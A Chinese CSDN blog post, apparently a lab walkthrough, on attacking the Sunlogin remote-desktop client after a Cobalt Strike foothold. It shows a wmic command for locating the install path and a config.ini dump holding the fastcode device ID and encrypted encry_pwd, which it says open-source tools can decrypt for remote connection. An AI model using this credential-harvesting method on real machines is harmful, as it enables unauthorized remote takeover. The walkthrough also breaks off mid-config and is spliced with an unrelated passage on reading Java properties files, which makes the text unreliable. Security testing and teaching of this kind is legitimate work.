读取向日葵配置信息攻击目标机

本文介绍了如何本地搭建并模拟攻击向日葵客户端。通过查找安装路径下的config.ini文件,获取fastcode和encry_pwd字段,其中fastcode标识本机识别码,encry_pwd是加密的验证码。可以借助开源工具解密encry_pwd,并实现远程连接。
摘要由CSDN通过智能技术生成

一、本地搭建

准备好安装包,在安装的过程中可以看到默认的安装路径是C:\Program Files\Oray\SunLogin\SunloginClient

二、模拟攻击

首先上线CS

我这里本地就从自己得安装路径里找到config.ini的配置文件了,C:\Program Files\Oray\SunLogin\SunloginClient\config.ini

如果安装路径做了修改可通过wmic process where processid=4580 get processid,executablepath,name命令进行查找

[base]
installautorun=
no_window_user_pwd=0
config_path=C:\Program Files\Oray\SunLogin\SunloginClient\config.ini
tracksvr=
encry_pwd=j3fMbkkO1Xo=
macaddress=00:0C:29:66:95:D7
has_uu=0
showupdatetip=1
hostname=default
hostdesc=
level=
levelname=
levelchanel=
istransfer=
ismessage=
expires=
skin=
sunlogincode=
isfastcodelogin=1
logintype=0
license=4c9e-01cc-d914-1d36
licensepsw=
fastcode=k405776325
fastcodepsw=CujhXo9mn9eb5e3a5hmxKxLTNqAsy3Oa
sunloginserver=rc10-fc01.oray.com:443
slapiserver=slapi.oray.net
account=
language=0
first_run
如果程序不读取Nacos配置信息,而只读取resource文件,那么可以采用以下步骤: 首先,将需要的配置信息保存在资源文件(如properties文件)中,例如命名为config.properties。在该文件中,可以定义各种配置项及其对应的值。 接下来,在程序中,通过以下步骤读取resource文件中的配置信息: 1. 创建一个Properties对象:Properties properties = new Properties(); 2. 使用ClassLoader加载resource文件:InputStream inputStream = getClass().getClassLoader().getResourceAsStream("config.properties"); 3. 使用Properties对象的load()方法加载配置文件:properties.load(inputStream); 4. 根据配置项的键获取对应的值:String value = properties.getProperty("key"); 使用上述步骤后,你就可以获取到resource文件中的配置信息。 需要注意的是,如果程序需要动态获取配置信息,可以通过定时或事件驱动的方式周期性地重新读取配置文件,以保证程序使用的配置信息是最新的。 另外,如果你希望使用Nacos作为配置中心,仍然可以将Nacos的配置信息导出到resource文件中,再通过上述步骤进行读取。这样的好处是可以在需要时灵活地切换配置中心,而无需修改程序代码。 综上所述,即使程序不读取Nacos配置信息,只读取resource文件,依然可以通过将配置信息保存在resource中,并通过编码读取resource文件实现程序对配置的使用。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值